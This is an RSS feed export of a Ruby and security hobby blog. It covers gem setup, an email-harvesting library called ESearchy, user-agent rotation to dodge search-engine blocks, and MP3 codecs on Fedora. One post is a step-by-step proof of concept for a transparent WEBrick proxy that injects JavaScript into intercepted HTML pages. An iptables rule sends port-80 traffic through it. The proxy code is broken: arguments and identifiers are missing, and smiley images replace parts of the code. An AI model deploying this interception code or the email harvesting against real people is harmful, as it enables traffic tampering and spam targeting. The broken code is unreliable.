<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FreedomCoder &#187; Linux</title>
	<atom:link href="http://www.freedomcoder.com.ar/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.freedomcoder.com.ar</link>
	<description>Information for free-minded geeks</description>
	<lastBuildDate>Sun, 30 Jan 2011 22:38:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Installing ESearchy on Backtrack 4.0</title>
		<link>http://www.freedomcoder.com.ar/2010/05/17/installing-esearchy-on-backtrack-4-0/</link>
		<comments>http://www.freedomcoder.com.ar/2010/05/17/installing-esearchy-on-backtrack-4-0/#comments</comments>
		<pubDate>Mon, 17 May 2010 23:08:48 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=206</guid>
		<description><![CDATA[<p>A lot of people told me that ESearchy was not working on backtrack 4.0. Here is a short how-to. Let me know if any of you run into other issues. So I can expand this how-to.</p> <p>$ sudo apt-get update<br /> $ sudo apt-get upgrade<br /> $ ruby -v<br /> $ gem -v<br /> # [...]]]></description>
			<content:encoded><![CDATA[<p>A lot of people told me that ESearchy was not working on backtrack 4.0.  Here is a short how-to.  Let me know if any of you run into other issues. So I can expand this how-to.</p>
<p><code>$ sudo apt-get update<br />
$ sudo apt-get upgrade<br />
$ ruby -v<br />
$ gem -v<br />
# 1.2 sudo<br />
# this is OLD !!!<br />
$ sudo gem install rubygems-update<br />
$ sudo /var/lib/gems/1.8/bin/update_rubygems<br />
#by default it will fail if you do not have installed libxslt-dev<br />
sudo apt-get install libxslt-dev<br />
# we need github gems<br />
sudo gem sources --add http://gems.github.com<br />
sudo gem install esearchy<br />
# latest available version 2.0.7  ( if not 2.0.8 <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  )</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/05/17/installing-esearchy-on-backtrack-4-0/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Where are gem&#8217;s executables in Ubuntu?</title>
		<link>http://www.freedomcoder.com.ar/2010/02/28/where-are-gems-executables-in-ubuntu/</link>
		<comments>http://www.freedomcoder.com.ar/2010/02/28/where-are-gems-executables-in-ubuntu/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 00:13:30 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=202</guid>
		<description><![CDATA[<p>As you might know, I&#8217;m always working on new projects to automate my work. Call me lazy, call me smart, but the true is that I actually enjoy programming, and if helps making my life easier, it is more than welcomed </p> <p>Whenever I do a new gem I try to test it on as [...]]]></description>
			<content:encoded><![CDATA[<p>As you might know, I&#8217;m always working on new projects to automate my work. Call me lazy, call me smart, but the true is that I actually enjoy programming, and if helps making my life easier, it is more than welcomed <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Whenever I do a new gem I try to test it on as many platforms as I can.  OSX is the default development platform so usually they always work there, then I try on Gentoo, Fedora, Windows and Ubuntu.</p>
<p>I usually run into problems when I have to find where does Ubuntu saves the gem files and binaries. Yes, you will search pretty much everywhere but you won&#8217;t remember where the hell they are.</p>
<p>Since I got tired of searching every time I test something on an ubuntu VM, here is a short how-to so I won&#8217;t have to search next time.</p>
<p>Google Search: &#8220;can&#8217;t find gem executables in ubuntu&#8221;</p>
<p>or<br />
<code>$ sudo gem environment<br />
RubyGems Environment:<br />
  - RUBYGEMS VERSION: 1.3.5<br />
  - RUBY VERSION: 1.8.7 (2009-06-12 patchlevel 174) [i486-linux]<br />
  - INSTALLATION DIRECTORY: /var/lib/gems/1.8<br />
  - RUBY EXECUTABLE: /usr/bin/ruby1.8<br />
  - EXECUTABLE DIRECTORY: /var/lib/gems/1.8/bin<br />
  - RUBYGEMS PLATFORMS:<br />
    - ruby<br />
    - x86-linux<br />
  - GEM PATHS:<br />
     - /var/lib/gems/1.8<br />
     - /home/USER/.gem/ruby/1.8<br />
  - GEM CONFIGURATION:<br />
     - :update_sources =&gt; true<br />
     - :verbose =&gt; true<br />
     - :benchmark =&gt; false<br />
     - :backtrace =&gt; false<br />
     - :bulk_threshold =&gt; 1000<br />
     - :sources =&gt; ["http://gems.rubyforge.org/", "http://gems.github.com"]<br />
  - REMOTE SOURCES:<br />
     - http://gems.rubyforge.org/<br />
     - http://gems.github.com<br />
</code></p>
<p>As it is shown above, my Ubuntu installation saves all installed gems in  ~/.gems or /var/lib/gems/1.8. Once you have the path, all you have to do is add them to your shell rc file.</p>
<p>In the case you use bash or zsh:</p>
<p><code>export PATH=$PATH:/var/lib/gems/1.8/bin</code></p>
<p>or, if you already have a PATH like i do just add it to the declaration</p>
<p><code>PATH=/usr/bin:......:/var/lib/gems/1.8/bin</code></p>
<p>re open your shell and EUREKA, all your gem&#8217;s executable are now in your path.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "5601631059";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2010/02/28/where-are-gems-executables-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Bugmenot CLI script</title>
		<link>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/</link>
		<comments>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/#comments</comments>
		<pubDate>Mon, 14 Sep 2009 17:35:05 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/?p=181</guid>
		<description><![CDATA[<p>Little script to help while surfing the web. So far it gets the username and password. I will be adding the success percentage and the possibility of limiting the search results.<br /> Otherwise, enjoy as it is.<br /> </p>]]></description>
			<content:encoded><![CDATA[<p>Little script to help while surfing the web.  So far it gets the username and password. I will be adding the success percentage and the possibility of limiting the search results.<br />
Otherwise, enjoy as it is.<br />
<script src="http://gist.github.com/186788.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/09/14/bugmenot-cli-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>First stable beta of ESearchy is out!</title>
		<link>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/</link>
		<comments>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 18:15:37 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out</guid>
		<description><![CDATA[Finally, after weeks of work, the first stable Beta of ESearchy is up and running in github's gem repository. 
Esearchy is a small library capable of searching the internet for email addresses. Currently, the supported search methods are engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, Linkedin, etc , but I intend to add many more.

Also, the library searches inside .pdf, .docx, .xlsx, .pptx, asn and .txt files for emails addresses and adds them to the list of found accounts. Finally, we have support for .docs files but for now only in Windows Platforms. (For more information visit: <a href="http://github.com/FreedomCoder/esearchy/tree/master"> Github </a> .

In order to install it you simple add the repository and then install the gem, as shown below.

<bash>
>  gem sources -a http://gems.github.com
>  gem install FreedomCoder-esearchy
</bash>

Once the gem is installed, you can create a new search opening and/or use the "esearchy" CLI tool but it's really basic so far and it does not has all of the plugins. 
<code>
require 'esearchy'

ESearchy::LOG.level = ESearchy::APP #Output to the stdout. 

ESearchy.create "domain.com" do &#124;d&#124;
  d.yahoo_key = "yourAPIkeygoeshere"
  d.bing_key = "yourAPIkeygoeshere" 
  # if you want to also look in LinkedIn
  d.company_name "Company Name"
  #A user is needed in order to search within Linkedin
  d.linkedin_credentials "myuser@linkedin.com", "mypwd" 
  d.maxhits = 50 
  d.search
  d.save_to_file "company_emails.txt"
end
</code>
If you have any comments, issues or want to submit a bug please do so on
<a href="http://github.com/FreedomCoder/esearchy/issues">http://github.com/FreedomCoder/esearchy/issues</a>

 Hopefully it will be useful to you. 
:)
]]></description>
			<content:encoded><![CDATA[<p>Finally, after weeks of work, the first stable Beta of ESearchy is up and running in github&#8217;s gem repository.<br />
Esearchy is a small library capable of searching the internet for email addresses. Currently, the supported search methods are engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, Linkedin, etc , but I intend to add many more.</p>
<p>Also, the library searches inside .pdf, .docx, .xlsx, .pptx, asn and .txt files for emails addresses and adds them to the list of found accounts. Finally, we have support for .docs files but for now only in Windows Platforms. (For more information visit: <a href="http://github.com/FreedomCoder/esearchy/tree/master"> Github </a> .</p>
<p>In order to install it you simple add the repository and then install the gem, as shown below.<br />
<code >&amp;gt;  gem sources -a http://gems.github.com<br />
&amp;gt;  gem install FreedomCoder-esearchy</code><br />
Once the gem is installed, you can create a new search opening and/or use the &#8220;esearchy&#8221; CLI tool but it&#8217;s really basic so far and it does not has all of the plugins.<br />
<code lang="ruby">require 'esearchy'</code></p>
<p><code >ESearchy::LOG.level = ESearchy::APP #Output to the stdout.<br />
</code></p>
<p><code >ESearchy.create "domain.com" do |d|<br />
d.yahoo_key = "yourAPIkeygoeshere"<br />
d.bing_key = "yourAPIkeygoeshere"<br />
# if you want to also look in LinkedIn<br />
d.company_name "Company Name"<br />
#A user is needed in order to search within Linkedin<br />
d.linkedin_credentials "myuser@linkedin.com", "mypwd"<br />
d.maxhits = 50<br />
d.search<br />
d.save_to_file "company_emails.txt"<br />
end</code><br />
If you have any comments, issues or want to submit a bug please do so on<br />
<a href="http://github.com/FreedomCoder/esearchy/issues">http://github.com/FreedomCoder/esearchy/issues</a></p>
<p>Hopefully it will be useful to you.<br />
 <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/07/13/first-stable-beta-of-esearchy-is-out/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Random User Agents</title>
		<link>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/</link>
		<comments>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 00:35:02 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/07/10/random-user-agents</guid>
		<description><![CDATA[While programming Esearchy I had to create a simple class to retrieve random user agents. You may say but why you would want something like this, and the answer is simple:
 "Try to trick the search engines, so they would not block me".  

Yeah, I know this might not even works, but it's still cool. =D

Well here it goes
<script src="http://gist.github.com/144932.js"></script>

Use it at your own discretion and listen to your ghost ...]]></description>
			<content:encoded><![CDATA[<p>While programming Esearchy I had to create a simple class to retrieve random user agents. You may say but why you would want something like this, and the answer is simple:<br />
 &#8220;Try to trick the search engines, so they would not block me&#8221;.  </p>
<p>Yeah, I know this might not even works, but it&#8217;s still cool. =D</p>
<p>Well here it goes<br />
<script src="http://gist.github.com/144932.js"></script></p>
<p>Use it at your own discretion and listen to your ghost &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/07/10/random-user-agents/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I&#8217;m back with some Code &#8230;</title>
		<link>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/</link>
		<comments>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 01:46:17 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-</guid>
		<description><![CDATA[Well, hello again, long time since the last post. I went on vacations, work a lot and did some programming. Let's talk abount the programming part, since it is the most interesting one. ;)

I created a small library called "Esearchy" capable of searching the internet for email addresses. Currently, we the supported search methods are  engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, etc , but I intend to add many more.
Also, the library searches inside .pdf and .txt files for emails addresses and adds them to the list of found accounts.  

For now, there are two main ways of performing a search, "the ruby way"
<code>
 Esearchy.create "domain.com" do &#124;domain&#124;
   domain.maxhits = 500
   domain.search
   domain.clean {&#124;e&#124; e =~ /<&#124;>/ }
   domain.save_to_file "~/emails.txt"
 end
</code>

and the more classic way in which users can create an Esearchy objetc and work on it

<code>
  domain = Esearchy.new :query => "domain.com", :maxhits => 500
  domain.search
  domain.save_to_file "~/emails.txt"
</code>

For now , that's it for now , but keep on tuned for more shitty code ajjajaa 
]]></description>
			<content:encoded><![CDATA[<p>Well, hello again, long time since the last post. I went on vacations, work a lot and did some programming. Let&#8217;s talk abount the programming part, since it is the most interesting one. <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>I created a small library called &#8220;Esearchy&#8221; capable of searching the internet for email addresses. Currently, we the supported search methods are  engines such as Google, Bing, Yahoo, PGP servers, GoogleGroups, etc , but I intend to add many more.<br />
Also, the library searches inside .pdf and .txt files for emails addresses and adds them to the list of found accounts.  </p>
<p>For now, there are two main ways of performing a search, &#8220;the ruby way&#8221;<br />
<code> Esearchy.create "domain.com" do |domain|<br />
   domain.maxhits = 500<br />
   domain.search<br />
   domain.clean {|e| e =~ /&lt;|&gt;/ }<br />
   domain.save_to_file "~/emails.txt"<br />
 end</code></p>
<p>and the more classic way in which users can create an Esearchy objetc and work on it</p>
<p><code>  domain = Esearchy.new :query =&gt; "domain.com", :maxhits =&gt; 500<br />
  domain.search<br />
  domain.save_to_file "~/emails.txt"</code></p>
<p>For now , that&#8217;s it for now , but keep on tuned for more shitty code ajjajaa </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/07/05/im-back-with-some-code-/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WEBrick Transparent Proxy + code injection.</title>
		<link>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/</link>
		<comments>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 17:00:17 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection</guid>
		<description><![CDATA[I've search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. 

<small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it's always good to look in google.jp for ruby code ;)</i></small>

You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. 

I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things. 
</br>
<strong> Simple Proxy :</strong>
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. 

<code>
require 'webrick'
require 'webrick/httproxy'

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => Proc.new {&#124;req,res&#124;  puts "#{req.unparsed_uri}" }

a.start

</code><small><small>Simple Proxy server.</small></small>
</br>
<strong> Fixing the URI :</strong>
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.  
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following 
<code>
GET http://www.sarasa.com/ HTTP/1.1
...
</code><small><small>Browser request using a proxy server.</small></small>

Normal the brower when requesting a page , will use HTTP/1.1 and use the header "Host" to specified the url and just connect using a:

<code>
GET / HTTP/1.1
Host: www.sarasa.com
</code><small><small>Browser request.</small></small>

Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy? 
The answer is simple. let's modified our code and change the request. All the information is there we just have to re-write it to fit our need. 
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and 

<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end


req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call 

a.start
</code><small><small>Transparent Proxy Server.</small></small>

</br>
<strong> Injecting:</strong>
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let's take it a little further and make it more interesting by adding an inject_payload to our response class. 


<code>
require 'webrick'
require 'webrick/httproxy'

class WEBrick::HTTPRequest
  def  update_uri(uri)
    @unparsed_uri = uri
    @request_uri = parse_uri(uri)
  end
end

class WEBrick::HTTPResponse
  def  inject_payload(string)
    if @content_type =~ /html/
      @body.gsub!( /<\/body>/ ,  "<script>#{string}</script></body>")  # this is just 
    end
  end
end

req_call = Proc.new do &#124;req,res&#124;  
  req.update_uri()
  puts "#{req.unparsed_uri}" }
end

res_call = Proc.new do &#124;req,res&#124;  
  res.inject_payload("alert(\"P0wned\");")
end

WEBrick::HTTPProxyServer.new :Port 8080, 
                     :BindAddress => '0.0.0.0', 
                     :ServerType => Thread,
                     :RequestCallback => req_call
                     :ProxyContentHandler => res_call 

a.start
</code><small><small>Injectable Transparent Proxy server.</small></small>

<strong> Last but not least :</strong>
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.
<bash>
  iptables -t nat -A PREROUTING -i  eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
</bash>

Now we have a transparent proxy in our hands capable of injecting code into their request. 

Enjoy. 

]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. </p>
<p><small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it&#8217;s always good to look in google.jp for ruby code <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </i></small></p>
<p>You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. </p>
<p>I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things.<br />
</br><br />
<strong> Simple Proxy :</strong><br />
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; Proc.new {|req,res|  puts "#{req.unparsed_uri}" }</p>
<p>a.start<br />
</code><small><small>Simple Proxy server.</small></small><br />
</br><br />
<strong> Fixing the URI :</strong><br />
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.<br />
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following<br />
<code>GET http://www.sarasa.com/ HTTP/1.1<br />
...</code><small><small>Browser request using a proxy server.</small></small></p>
<p>Normal the brower when requesting a page , will use HTTP/1.1 and use the header &#8220;Host&#8221; to specified the url and just connect using a:</p>
<p><code>GET / HTTP/1.1<br />
Host: www.sarasa.com</code><small><small>Browser request.</small></small></p>
<p>Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy?<br />
The answer is simple. let&#8217;s modified our code and change the request. All the information is there we just have to re-write it to fit our need.<br />
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>class WEBrick::HTTPRequest<br />
  def  update_uri(uri)<br />
    @unparsed_uri = uri<br />
    @request_uri = parse_uri(uri)<br />
  end<br />
end</p>
<p>req_call = Proc.new do |req,res|<br />
  req.update_uri()<br />
  puts "#{req.unparsed_uri}" }<br />
end</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; req_call </p>
<p>a.start</code><small><small>Transparent Proxy Server.</small></small></p>
<p></br><br />
<strong> Injecting:</strong><br />
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let&#8217;s take it a little further and make it more interesting by adding an inject_payload to our response class. </p>
<p><code>require 'webrick'<br />
require 'webrick/httproxy'</p>
<p>class WEBrick::HTTPRequest<br />
  def  update_uri(uri)<br />
    @unparsed_uri = uri<br />
    @request_uri = parse_uri(uri)<br />
  end<br />
end</p>
<p>class WEBrick::HTTPResponse<br />
  def  inject_payload(string)<br />
    if @content_type =~ /html/<br />
      @body.gsub!( /&lt;\/body&gt;/ ,  "&lt;script&gt;#{string}&lt;/script&gt;&lt;/body&gt;")  # this is just<br />
    end<br />
  end<br />
end</p>
<p>req_call = Proc.new do |req,res|<br />
  req.update_uri()<br />
  puts "#{req.unparsed_uri}" }<br />
end</p>
<p>res_call = Proc.new do |req,res|<br />
  res.inject_payload("alert(\"P0wned\");")<br />
end</p>
<p>WEBrick::HTTPProxyServer.new <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort 8080,<br />
                     :BindAddress =&gt; '0.0.0.0',<br />
                     :ServerType =&gt; Thread,<br />
                     :RequestCallback =&gt; req_call<br />
                     <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> roxyContentHandler =&gt; res_call </p>
<p>a.start</code><small><small>Injectable Transparent Proxy server.</small></small></p>
<p><strong> Last but not least :</strong><br />
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.<br />
<bash><br />
  iptables -t nat -A PREROUTING -i  eth0 -p tcp &#8211;dport 80 -j REDIRECT &#8211;to-port 8080<br />
</bash></p>
<p>Now we have a transparent proxy in our hands capable of injecting code into their request. </p>
<p>Enjoy. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Nmaports 0.3: Now with pdf support</title>
		<link>http://www.freedomcoder.com.ar/2009/02/16/nmaports-03-now-with-pdf-support/</link>
		<comments>http://www.freedomcoder.com.ar/2009/02/16/nmaports-03-now-with-pdf-support/#comments</comments>
		<pubDate>Mon, 16 Feb 2009 18:53:43 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/02/16/nmaports-03-now-with-pdf-support</guid>
		<description><![CDATA[Luego de un par ajustes al c?digo Nmaports sigue creciendo y agregando features. 
Ahora , Nmaports tiene soporte para generar la tabla en formato PDF. 


<code>
def create_pdf(list,name=nil)
  require 'prawn'
  require 'prawn/layout'
  Prawn::Document.generate(name &#124;&#124; "output.pdf") do 
    
    data = []
    list.each do &#124;k,v&#124;
      data << [k,(v.map { &#124;k&#124; k + "\n" }.to_s).strip]
    end
    
    table data, 
      :position => :center, 
      :headers => ["Port", "IP Adresses"],
      :header_color => "0046f9",
      :row_colors => :pdf_writer, #["ffffff","ffff00"],
      :font_size => 10,
      :vertical_padding => 2,
      :horizontal_padding => 5
  end
end
</code>

Para bajar la ultima versi?n del repositorio Git : 
http://github.com/FreedomCoder/nmapports/tree/master]]></description>
			<content:encoded><![CDATA[<p>Luego de un par ajustes al c?digo Nmaports sigue creciendo y agregando features.<br />
Ahora , Nmaports tiene soporte para generar la tabla en formato PDF. </p>
<p><code>def create_pdf(list,name=nil)<br />
  require 'prawn'<br />
  require 'prawn/layout'<br />
  Prawn::Document.generate(name || "output.pdf") do </p>
<p>    data = []<br />
    list.each do |k,v|<br />
      data &lt;&lt; [k,(v.map { |k| k + "\n" }.to_s).strip]<br />
    end</p>
<p>    table data,<br />
      :position =&gt; :center,<br />
      :headers =&gt; ["Port", "IP Adresses"],<br />
      :header_color =&gt; "0046f9",<br />
      :row_colors =&gt; :pdf_writer, #["ffffff","ffff00"],<br />
      :font_size =&gt; 10,<br />
      :vertical_padding =&gt; 2,<br />
      :horizontal_padding =&gt; 5<br />
  end<br />
end</code></p>
<p>Para bajar la ultima versi?n del repositorio Git : </p>
<p>http://github.com/FreedomCoder/nmapports/tree/master</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/02/16/nmaports-03-now-with-pdf-support/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fedora 10 + MP3</title>
		<link>http://www.freedomcoder.com.ar/2009/01/28/fedora-10-mp3/</link>
		<comments>http://www.freedomcoder.com.ar/2009/01/28/fedora-10-mp3/#comments</comments>
		<pubDate>Wed, 28 Jan 2009 23:35:44 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Spanish]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2009/01/28/fedora-10-mp3</guid>
		<description><![CDATA[Hoy en el laburo, queria escuchar un poco de musica. Cuando fui a usar el player por default de Fedora 10 Rythombox no me andaban los MP3s y que tenia que instalar un plugin. 
Mi primera impresion fue un WTF? , luego recorde esta movida de free and libre only software. Y dije bueno a buscar repositorios. 
Esto es lo que encontre y lo que termine haciendo:

<strong>Agregar los repositorios de rpmfusion:</strong>

<bash>
# rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm</bash> 
<bash>
# rpm -Uvh http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm</bash> 

<strong>Instalar GStreamer plugins:</strong>
<bash>
# yum install gstreamer gstreamer-plugins-bad gstreamer-plugins-ugly</bash>

<strong>Instalar otras app y librer?as:</strong>

 * Amarok con soporte para MP3: 
<bash>
# yum install amarok phonon-backend-gstreamer</bash>

* MPlayer con soporte para MP3: 
<bash>
# yum install mplayer gnome-mplayer gnome-mplayer-common mencoder</bash>

* XMMS con soporte para MP3: 
<bash>
# yum install xmms xmms-mp3</bash>

* xine con soporte para MP3: 
